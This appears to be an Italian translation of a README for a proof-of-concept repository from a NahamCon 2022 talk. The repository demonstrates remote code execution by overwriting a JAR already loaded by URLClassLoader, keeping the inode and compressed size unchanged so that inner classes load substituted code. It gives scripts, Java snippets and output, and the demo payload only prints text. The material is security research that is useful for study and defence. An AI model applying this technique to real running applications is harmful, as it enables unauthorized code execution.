
Demo dello scambio di JAR tramite URLClassLoader che mostra la capacità di sostituire e sfruttare un JAR già caricato con classi interne.
Il seguente codice di esempio mostra la possibilità di sostituire a caldo un file JAR già caricato e ottenere l'esecuzione di codice abusando del fatto che le classi interne accedono ancora al file JAR quando vengono invocate, purché l'inode non cambi.
Testato su macOS con OpenJDK (e sfruttato anche su Author Publisher di Apple usando Transporter).
Demo dal talk di Frans Rosén "Story of a RCE on Apple through hot jar swapping" del NahamCon 2022 EU.
build-and-run.shLo esegui con:
./build-and-run.sh
Questo farà:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper caricherà ed eseguirà la classe HelloWorld.Main usando URLClassLoader e ti chiederà di eseguire il metodo hello della classe HelloWorld.Secondary, anch'essa già caricata. Questo serve a controllare il momento in cui sostituire il JAR già caricato.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Ora puoi decidere se premere Invio senza sostituire alcun JAR: questo mostrerà il normale flusso di codice da HelloWorld/Secondary.java:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shLo exploit.sh farà:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
La parte di copia quando si sovrascrive HelloWorld.jar con exploit.jar è importante, perché se l'inode cambia l'exploit non riuscirà. Un comando mv scriverà un nuovo inode, ma cp su un file esistente non lo farà. La stessa cosa è successa con l'estrazione ZIP: l'inode del JAR già esistente non è mai cambiato, consentendo all'exploit di funzionare.
Se vuoi testare la sostituzione a caldo del JAR, esegui lo exploit.sh in un'altra finestra dopo aver avviato build-and-run.sh ma prima di premere Invio:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
Se ora premi Invio su ./build-and-run.sh dovresti vedere correttamente il codice sostituito:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
Dimostrando che possiamo abusare del fatto che le classi interne/anonime vengono ancora caricate dal file JAR fisico anche se URLClassLoader ha già caricato il JAR prima che lo sostituissimo.
Questo repository di codice cerca di spiegare che puoi sovrascrivere file JAR già caricati per ottenere l'esecuzione di codice a fronte di alcuni prerequisiti.
L'idea è che il JAR sia stato inizialmente caricato con URLClassLoader:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
Inoltre, un metodo secondario è stato caricato all'avvio ma mai invocato:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
Se il JAR viene poi sostituito mentre l'app è in esecuzione, e la classe che è stata caricata ma su cui non è mai stato invocato alcun metodo ha anche classi interne, possiamo fargli eseguire codice diverso dal nuovo JAR se l'invocazione avviene successivamente:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
Quindi, se questo metodo contiene una classe interna (appaiono nel JAR come $1.class) e sostituiamo la classe interna con qualcosa che ha la stessa dimensione e lo stesso tasso di compressione, siamo in grado di sostituire a caldo il JAR e far eseguire il nostro codice.
La classe anonima del file Exploit/HelloWorld/Secondary.java viene compilata nella classe interna Exploit/HelloWorld/Secondary$1.class, che ha la stessa dimensione e lo stesso tasso di compressione che si ottengono quando HelloWorld/Secondary.java viene compilato e compresso. Se dimensione o tasso di compressione differissero, otterresti un crash premendo Invio in build-and-run.sh.
Quindi, se cambi Exploit/HelloWorld/Secondary.java per esempio (functionn invece di function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
Dove il risultato della compressione è lo stesso ma il tasso di compressione è sbagliato:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
vedresti:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
Su OpenJDK sembra che se la dimensione originale differisce ma la dimensione compressa è la stessa, funziona comunque:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
Lo exploit.sh dirà comunque che c'è una differenza, dato che potrebbe non funzionare in tutte le versioni.
Noterai anche che se cambi qualcosa in Exploit/HelloWorld/Secondary.java al di fuori della classe interna, ad esempio:
System.out.println("\nEnd of run, goodbye");
in:
System.out.println("\nEnd of run, goodbya");
il che farà sì che Secondary.class abbia lo stesso tasso di compressione e la stessa dimensione; tuttavia non attiverà comunque il contenuto sostituito, poiché la classe è già stata caricata da URLClassLoader. Questo conferma che l'effetto riguarda solo le classi interne (quelle chiamate $1.class nel JAR), dato che vengono caricate dal file JAR quando vengono usate:
End of run, goodbye